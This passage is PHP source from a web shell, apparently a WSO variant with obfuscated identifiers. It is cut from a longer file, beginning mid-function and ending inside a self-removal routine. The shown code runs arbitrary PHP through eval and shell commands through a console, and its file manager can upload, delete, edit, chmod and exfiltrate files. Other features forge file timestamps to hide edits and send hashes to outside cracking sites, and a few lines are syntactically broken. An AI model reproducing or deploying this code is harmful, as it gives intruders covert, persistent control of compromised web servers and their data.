echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$htgigvrvnktw = ob_get_clean();
$htgigvrvnktw = preg_replace(array(
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
//'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array(
'',
//'.e, .v, .h, .h th {$1}',
'',
), $htgigvrvnktw);
echo str_replace('<h1', '<h2', $htgigvrvnktw) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['ffbul']) ? htmlspecialchars($_POST['ffbul']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['ffbul']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['ffbul'])) {
ob_start();
eval($_POST['ffbul']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
gghivb();
}
function actionFilesMan() {
if (!empty($_COOKIE['uop'])) {
$_COOKIE['uop'] = @unserialize($_COOKIE['uop']);
}
if (!empty($_POST['ffbul'])) {
switch ($_POST['ffbul']) {
case 'uploadFile':
if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if (!@mkdir($_POST['lcwvds'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function bwhkqs($puyhtcdhk) {
$puyhtcdhk = (substr($puyhtcdhk, -1) == '/') ? $puyhtcdhk : $puyhtcdhk . '/';
$xhtgtiaqhqep = opendir($puyhtcdhk);
while (($debftntcuku = readdir($xhtgtiaqhqep)) !== false) {
$debftntcuku = $puyhtcdhk . $debftntcuku;
if ((basename($debftntcuku) == "..") || (basename($debftntcuku) == )) {
continue;
}
$rbrbpc = filetype($debftntcuku);
if ($rbrbpc == "dir") {
bwhkqs($debftntcuku);
} else {
@unlink($debftntcuku);
}
}
closedir($xhtgtiaqhqep);
@rmdir($puyhtcdhk);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $kegikgz) {
if ($kegikgz == '..') {
continue;
}
$kegikgz = urldecode($kegikgz);
if (is_dir($kegikgz)) {
bwhkqs($kegikgz);
} else {
@unlink($kegikgz);
}
}
}
break;
case 'paste':
if ($_COOKIE['dpka'] == 'copy') {
function iqqlbx($xutxejwk, $asggyyfoe, $dlslpletnge) {
if (is_dir($xutxejwk . $asggyyfoe)) {
mkdir($dlslpletnge . $asggyyfoe);
$huihuoyfsks = @opendir($xutxejwk . $asggyyfoe);
while (($kegikgz = @readdir($huihuoyfsks)) !== false) {
if (($kegikgz != ) and ($kegikgz != "..")) {
iqqlbx($xutxejwk . $asggyyfoe . '/', $kegikgz, $dlslpletnge . $asggyyfoe . '/');
}
}
} elseif (is_file($xutxejwk . $asggyyfoe)) {
@copy($xutxejwk . $asggyyfoe, $dlslpletnge . $asggyyfoe);
}
}
foreach ($_COOKIE['uop'] as $kegikgz) {
iqqlbx($_COOKIE['jpeye'], $kegikgz, $GLOBALS['bihqwrzauo']);
}
} elseif ($_COOKIE['dpka'] == 'move') {
function ghgzfk($xutxejwk, $asggyyfoe, $dlslpletnge) {
if (is_dir($xutxejwk . $asggyyfoe)) {
mkdir($dlslpletnge . $asggyyfoe);
$huihuoyfsks = @opendir($xutxejwk . $asggyyfoe);
while (($kegikgz = @readdir($huihuoyfsks)) !== false) {
if (($kegikgz != ) and ($kegikgz != "..")) {
iqqlbx($xutxejwk . $asggyyfoe . '/', $kegikgz, $dlslpletnge . $asggyyfoe . '/');
}
}
} elseif (@is_file($xutxejwk . $asggyyfoe)) {
@copy($xutxejwk . $asggyyfoe, $dlslpletnge . $asggyyfoe);
}
}
foreach ($_COOKIE['uop'] as $kegikgz) {
@rename($_COOKIE['jpeye'] . $kegikgz, $GLOBALS['bihqwrzauo'] . $kegikgz);
}
} elseif ($_COOKIE['dpka'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['lcwvds'], 1)) {
chdir($_COOKIE['jpeye']);
foreach ($_COOKIE['uop'] as $kegikgz) {
if ($kegikgz == '..') {
continue;
}
if (@is_file($_COOKIE['jpeye'] . $kegikgz)) {
$zip->addFile($_COOKIE['jpeye'] . $kegikgz, $kegikgz);
} elseif (@is_dir($_COOKIE['jpeye'] . $kegikgz)) {
$jcaxpdwi = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($kegikgz . '/', FilesystemIterator::SKIP_DOTS));
foreach ($jcaxpdwi as $vtzvoho => $cnoinjkzbwjc) {
$zip->addFile(realpath($vtzvoho), $vtzvoho);
}
}
}
chdir($GLOBALS['bihqwrzauo']);
$zip->close();
}
}
} elseif ($_COOKIE['dpka'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['uop'] as $kegikgz) {
if ($zip->open($_COOKIE['jpeye'] . $kegikgz)) {
$zip->extractTo($GLOBALS['bihqwrzauo']);
$zip->close();
}
}
}
} elseif ($_COOKIE['dpka'] == 'tar') {
chdir($_COOKIE['jpeye']);
$_COOKIE['uop'] = array_map('escapeshellarg', $_COOKIE['uop']);
wyspra('tar cfzv ' . escapeshellarg($_POST['lcwvds']) . ' ' . implode(' ', $_COOKIE['uop']));
chdir($GLOBALS['bihqwrzauo']);
}
unset($_COOKIE['uop']);
setcookie('uop', '', time() - 3600);
break;
default:
if (!empty($_POST['ffbul'])) {
myqoxc('dpka', $_POST['ffbul']);
myqoxc('uop', serialize(@$_POST['f']));
myqoxc('jpeye', @$_POST['lhdjx']);
}
break;
}
}
alztgq();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$nybbtqura = himldq(isset($_POST['lhdjx']) ? $_POST['lhdjx'] : $GLOBALS['bihqwrzauo']);
if ($nybbtqura === false) {
echo 'Can\'t open this folder!';
gghivb();
return;
}
global $onciobbwoknj;
$onciobbwoknj = array('name', 1);
if (!empty($_POST['ffbul'])) {
if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['ffbul'], $guhzrazxtg)) {
$onciobbwoknj = array($guhzrazxtg[1], (int)$guhzrazxtg[2]);
}
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($onciobbwoknj[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($onciobbwoknj[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($onciobbwoknj[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($onciobbwoknj[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$bjanpcpkfke = $ujnlegbk = array();
$yprkxrmazcu = count($nybbtqura);
for ($eygfyajeuybn = 0; $eygfyajeuybn < $yprkxrmazcu; $eygfyajeuybn++) {
$uuoswwiw = @posix_getpwuid(@fileowner($nybbtqura[$eygfyajeuybn]));
$elwrsuem = @posix_getgrgid(@filegroup($nybbtqura[$eygfyajeuybn]));
$htgigvrvnktw = array(
'name' => $nybbtqura[$eygfyajeuybn],
'path' => $GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn])),
'perms' => dezqo($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn]),
'size' => @filesize($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn]),
'owner' => $uuoswwiw['name'] ? $uuoswwiw['name'] : @fileowner($nybbtqura[$eygfyajeuybn]),
'group' => $elwrsuem['name'] ? $elwrsuem['name'] : @filegroup($nybbtqura[$eygfyajeuybn])
);
if (@is_file($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn])) {
$ujnlegbk[] = array_merge($htgigvrvnktw, array('type' => 'file'));
} elseif (@is_link($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn])) {
$bjanpcpkfke[] = array_merge($htgigvrvnktw, array('type' => 'link', 'link' => readlink($htgigvrvnktw['path'])));
} elseif (@is_dir($GLOBALS['bihqwrzauo'] . $nybbtqura[$eygfyajeuybn])) {
$bjanpcpkfke[] = array_merge($htgigvrvnktw, array('type' => 'dir'));
}
}
$GLOBALS['onciobbwoknj'] = $onciobbwoknj;
function budnbni($wfqujncfoiy, $abbikltnf) {
if ($GLOBALS['onciobbwoknj'][0] != 'size') {
return strcmp(strtolower($wfqujncfoiy[$GLOBALS['onciobbwoknj'][0]]), strtolower($abbikltnf[$GLOBALS['onciobbwoknj'][0]])) * ($GLOBALS['onciobbwoknj'][1] ? 1 : -1);
} else {
return (($wfqujncfoiy['size'] < $abbikltnf['size']) ? -1 : 1) * ($GLOBALS['onciobbwoknj'][1] ? 1 : -1);
}
}
usort($ujnlegbk, "budnbni");
usort($bjanpcpkfke, "budnbni");
$ujnlegbk = array_merge($bjanpcpkfke, $ujnlegbk);
$vrjhyfbxlsmr = 0;
foreach ($ujnlegbk as $kegikgz) {
echo '<tr' . ($vrjhyfbxlsmr ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($kegikgz['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($kegikgz['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\', \'view\')">' . htmlspecialchars($kegikgz['name']) : 'g(\'FilesMan\',\'' . $kegikgz['path'] . '\');" ' . (empty($kegikgz['link']) ? '' : "title='{$kegikgz['link']}'") . '><b>[ ' . htmlspecialchars($kegikgz['name']) . ' ]</b>') . '</a></td><td>' . (($kegikgz['type'] == 'file') ? bbxcarbwi($kegikgz['size']) : $kegikgz['type']) . '</td><td>' . $kegikgz['modify'] . '</td><td>' . $kegikgz['owner'] . '/' . $kegikgz['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\',\'chmod\')">' . $kegikgz['perms']
. '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\', \'touch\')">T</a>' . (($kegikgz['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($kegikgz['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$vrjhyfbxlsmr = $vrjhyfbxlsmr ? 0 : 1;
}
echo "<tr><td colspan=7>
<input type=hidden name=hmcqz value='" . wpzmyig('FilesMan') . "'>
<input type=hidden name=lhdjx value='" . wpzmyig(htmlspecialchars($GLOBALS['bihqwrzauo'])) . "'>
<input type=hidden name=ynqwlx value='" . (isset($_POST['ynqwlx']) ? $_POST['ynqwlx'] : '') . "'>
<select name='ffbul'><option value='" . wpzmyig('copy') . "'>Copy</option><option value='" . wpzmyig('move') . "'>Move</option><option value='" . wpzmyig('delete') . "'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='" . wpzmyig('zip') . "'>Compress (zip)</option><option value='" . wpzmyig('unzip') . "'>Uncompress (zip)</option>";
}
echo "<option value='" . wpzmyig('tar') . "'>Compress (tar.gz)</option>";
if (!empty($_COOKIE['dpka']) && (isset($_COOKIE['uop']) && !empty($_COOKIE['uop']))) {
echo "<option value='" . wpzmyig('paste') . "'>Paste / Compress</option>";
}
echo "</select> ";
if (!empty($_COOKIE['dpka']) && (isset($_COOKIE['uop']) && !empty($_COOKIE['uop'])) && (($_COOKIE['dpka'] == 'zip') || ($_COOKIE['dpka'] == 'tar'))) {
$wqjoizrhrqxs = "wso_" . date("Ymd_His") . . ($_COOKIE['dpka'] == 'zip' ? 'zip' : 'tar.gz');
echo "file name: <input type=text name=p2 value='" . wpzmyig($wqjoizrhrqxs) . "'> ";
}
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
gghivb();
}
function actionStringTools() {
if (!function_exists('hex2bin')) {
function hex2bin($honvikua) {
return decbin(hexdec($honvikua));
}
}
if (!function_exists('binhex')) {
function vltmv($honvikua) {
return dechex(bindec($honvikua));
}
}
if (!function_exists('hex2ascii')) {
function wvyutizaa($honvikua) {
$kibshopr = '';
for ($eygfyajeuybn = 0; $eygfyajeuybn < strLen($honvikua); $eygfyajeuybn += 2) {
$kibshopr .= chr(hexdec($honvikua[$eygfyajeuybn] . $honvikua[$eygfyajeuybn + 1]));
}
return $kibshopr;
}
}
if (!function_exists('ascii2hex')) {
function fdagzhh($honvikua) {
$kibshopr = '';
for ($eygfyajeuybn = 0; $eygfyajeuybn < strlen($honvikua); ++$eygfyajeuybn) {
$kibshopr .= sprintf('%02X', ord($honvikua[$eygfyajeuybn]));
return strtoupper($kibshopr);
}
}
}
if (!function_exists('full_urlencode')) {
function swxgqiloh($honvikua) {
$kibshopr = '';
for ($eygfyajeuybn = 0; $eygfyajeuybn < strlen($honvikua); ++$eygfyajeuybn) {
$kibshopr .= '%' . dechex(ord($honvikua[$eygfyajeuybn]));
return strtoupper($kibshopr);
}
}
}
$afasiftcomw = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if (isset($_POST['lbci'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['ffbul'], $afasiftcomw)) {
echo $_POST['ffbul']($_POST['lcwvds']);
}
$juhozyempeo = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($juhozyempeo), "\n", $juhozyempeo;
exit;
}
if (empty($_POST['lbci']) && !empty($_POST['ffbul'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
alztgq();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach ($afasiftcomw as $zmrwtppuhlpa => $iluedgpe) {
echo "<option value='" . htmlspecialchars($iluedgpe) . "'>" . $zmrwtppuhlpa . "</option>";
}
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['ffbul']) ? '' : htmlspecialchars(@$_POST['lcwvds'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['ffbul']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['ffbul'])) {
if (in_array($_POST['ffbul'], $afasiftcomw)) {
echo htmlspecialchars($_POST['ffbul']($_POST['lcwvds']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['bihqwrzauo']) . "' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function rgeceytjx($puyhtcdhk) {
if (substr($puyhtcdhk, -1) != '/') {
$puyhtcdhk .= '/';
}
$jegmwbcaq = @array_unique(@array_merge(@glob($puyhtcdhk . $_POST['czqrjt']), @glob($puyhtcdhk . '*', GLOB_ONLYDIR)));
if (is_array($jegmwbcaq) && @count($jegmwbcaq)) {
foreach ($jegmwbcaq as $debftntcuku) {
if (@is_dir($debftntcuku)) {
if ($puyhtcdhk != $debftntcuku) {
rgeceytjx($debftntcuku);
}
} else {
if (empty($_POST['lcwvds']) || @strpos(file_get_contents($debftntcuku), $_POST['lcwvds']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($debftntcuku) . "\", \"view\",\"\")'>" . htmlspecialchars($debftntcuku) . "</a><br>";
}
}
}
}
}
if (@$_POST['czqrjt']) {
rgeceytjx($_POST['lhdjx']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
gghivb();
}
function actionFilesTools() {
if (isset($_POST['ffbul'])) {
$_POST['ffbul'] = urldecode($_POST['ffbul']);
}
if (@$_POST['lcwvds'] == 'download') {
if (@is_file($_POST['ffbul']) && @is_readable($_POST['ffbul'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['ffbul']));
if (function_exists("mime_content_type")) {
$rbrbpc = @mime_content_type($_POST['ffbul']);
header("Content-Type: " . $rbrbpc);
} else {
header("Content-Type: application/octet-stream");
}
$npuvcttlyeql = @fopen($_POST['ffbul'], "r");
if ($npuvcttlyeql) {
while (!@feof($npuvcttlyeql)) {
echo @fread($npuvcttlyeql, 1024);
}
fclose($npuvcttlyeql);
}
}
exit;
}
if (@$_POST['lcwvds'] == 'mkfile') {
if (!file_exists($_POST['ffbul'])) {
$npuvcttlyeql = @fopen($_POST['ffbul'], 'w');
if ($npuvcttlyeql) {
$_POST['lcwvds'] = "edit";
fclose($npuvcttlyeql);
}
}
}
alztgq();
echo '<h1>File tools</h1><div class=content>';
if (!file_exists(@$_POST['ffbul'])) {
echo 'File not exists';
gghivb();
return;
}
$rmgsozt = @posix_getpwuid(@fileowner($_POST['ffbul']));
if (!$rmgsozt) {
$rmgsozt['name'] = @fileowner($_POST['ffbul']);
$onwywaxl['name'] = @filegroup($_POST['ffbul']);
} else {
$onwywaxl = @posix_getgrgid(@filegroup($_POST['ffbul']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['ffbul'])) . ' <span>Size:</span> ' . (is_file($_POST['ffbul']) ? bbxcarbwi(filesize($_POST['ffbul'])) : '-') . ' <span>Permission:</span> ' . dezqo($_POST['ffbul']) . ' <span>Owner/Group:</span> ' . $rmgsozt['name'] . '/' . $onwywaxl['name'] . '<br>';
echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['ffbul'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['ffbul'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['ffbul'])) . '<br><br>';
if (empty($_POST['lcwvds'])) {
$_POST['lcwvds'] = 'view';
}
if (is_file($_POST['ffbul'])) {
$ckwoxhrab = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
} else {
$ckwoxhrab = array('Chmod', 'Rename', 'Touch');
}
foreach ($ckwoxhrab as $iluedgpe) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['ffbul']) . '\',\'' . strtolower($iluedgpe) . '\')">' . ((strtolower($iluedgpe) == @$_POST['lcwvds']) ? '<b>[ ' . $iluedgpe . ' ]</b>' : $iluedgpe) . '</a> ';
}
echo '<br><br>';
switch ($_POST['lcwvds']) {
case 'view':
echo '<pre class=ml1>';
$npuvcttlyeql = @fopen($_POST['ffbul'], 'r');
if ($npuvcttlyeql) {
while (!@feof($npuvcttlyeql)) {
echo htmlspecialchars(@fread($npuvcttlyeql, 1024));
}
@fclose($npuvcttlyeql);
}
echo '</pre>';
break;
case 'highlight':
if (@is_readable($_POST['ffbul'])) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$bkrpppfuwm = @highlight_file($_POST['ffbul'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $bkrpppfuwm) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['czqrjt'])) {
$nwzqfjak = 0;
for ($eygfyajeuybn = strlen($_POST['czqrjt']) - 1; $eygfyajeuybn >= 0; --$eygfyajeuybn) {
$nwzqfjak += (int)$_POST['czqrjt'][$eygfyajeuybn] * pow(8, (strlen($_POST['czqrjt']) - $eygfyajeuybn - 1));
}
if (!@chmod($_POST['ffbul'], $nwzqfjak)) {
echo 'Can\'t set permissions!<br><script>document.viwyzi.p3.value="";</script>';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['ffbul']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['ffbul'])), -4) . '"><input type=submit value=">>"></form>';
break;
case 'edit':
if (!is_writable($_POST['ffbul'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['czqrjt'])) {
$gbloopiggm = @filemtime($_POST['ffbul']);
$_POST['czqrjt'] = substr($_POST['czqrjt'], 1);
$npuvcttlyeql = @fopen($_POST['ffbul'], "w");
if ($npuvcttlyeql) {
@fwrite($npuvcttlyeql, $_POST['czqrjt']);
@fclose($npuvcttlyeql);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['ffbul'], $gbloopiggm, $gbloopiggm);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['ffbul']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$npuvcttlyeql = @fopen($_POST['ffbul'], 'r');
if ($npuvcttlyeql) {
while (!@feof($npuvcttlyeql)) {
echo htmlspecialchars(@fread($npuvcttlyeql, 1024));
}
@fclose($npuvcttlyeql);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$xutxejwk = @file_get_contents($_POST['ffbul']);
$yprkxrmazcu = 0;
$huihuoyfsks = array('00000000<br>', '', '');
$dpmijd = strlen($xutxejwk);
for ($eygfyajeuybn = 0; $eygfyajeuybn < $dpmijd; ++$eygfyajeuybn) {
$huihuoyfsks[1] .= sprintf('%02X', ord($xutxejwk[$eygfyajeuybn])) . ' ';
switch (ord($xutxejwk[$eygfyajeuybn])) {
case 0:
$huihuoyfsks[2] .= ' ';
break;
case 9:
$huihuoyfsks[2] .= ' ';
break;
case 10:
$huihuoyfsks[2] .= ' ';
break;
case 13:
$huihuoyfsks[2] .= ' ';
break;
default:
$huihuoyfsks[2] .= $xutxejwk[$eygfyajeuybn];
break;
}
$yprkxrmazcu++;
if ($yprkxrmazcu == 32) {
$yprkxrmazcu = 0;
if ($eygfyajeuybn + 1 < $dpmijd) {
$huihuoyfsks[0] .= sprintf('%08X', $eygfyajeuybn + 1) . '<br>';
}
$huihuoyfsks[1] .= '<br>';
$huihuoyfsks[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $huihuoyfsks[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $huihuoyfsks[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($huihuoyfsks[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['czqrjt'])) {
if (!@rename($_POST['ffbul'], $_POST['czqrjt'])) {
echo 'Can\'t rename!<br>';
} else {
die('<script>g(null,null,"' . urlencode($_POST['czqrjt']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['ffbul']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['ffbul']) . '"><input type=submit value=">>"></form>';
break;
case 'touch':
if (!empty($_POST['czqrjt'])) {
$gbloopiggm = strtotime($_POST['czqrjt']);
if ($gbloopiggm) {
if (!touch($_POST['ffbul'], $gbloopiggm, $gbloopiggm)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['ffbul']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['ffbul'])) . '"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
gghivb();
}
function actionConsole() {
if (!empty($_POST['ffbul']) && !empty($_POST['lcwvds'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['ffbul'] .= ' 2>&1';
} elseif (!empty($_POST['ffbul'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['lbci'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$juhozyempeo = @iconv($_POST['ynqwlx'], 'UTF-8', addcslashes("\n$ " . $_POST['ffbul'] . "\n" . wyspra($_POST['ffbul']), "\n\r\t\\'\0"));
if (preg_match("!.*cd\s+([^;]+)$!", $_POST['ffbul'], $guhzrazxtg)) {
if (@chdir($guhzrazxtg[1])) {
$GLOBALS['bihqwrzauo'] = @getcwd();
echo "c_='" . $GLOBALS['bihqwrzauo'] . "';";
}
}
echo "d.cf.output.value+='" . $juhozyempeo . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$juhozyempeo = ob_get_clean();
echo strlen($juhozyempeo), "\n", $juhozyempeo;
exit;
}
if (empty($_POST['lbci']) && !empty($_POST['ffbul'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
alztgq();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach ($GLOBALS['dbkymywlvvmg'] as $yprkxrmazcu => $iluedgpe) {
if ($iluedgpe == '') {
echo '<optgroup label="-' . htmlspecialchars($yprkxrmazcu) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($iluedgpe) . '">' . $yprkxrmazcu . '</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['lcwvds']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if (!empty($_POST['ffbul'])) {
echo htmlspecialchars("$ " . $_POST['ffbul'] . "\n" . wyspra($_POST['ffbul']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
gghivb();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if ($_POST['ffbul'] == 'yes') {
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
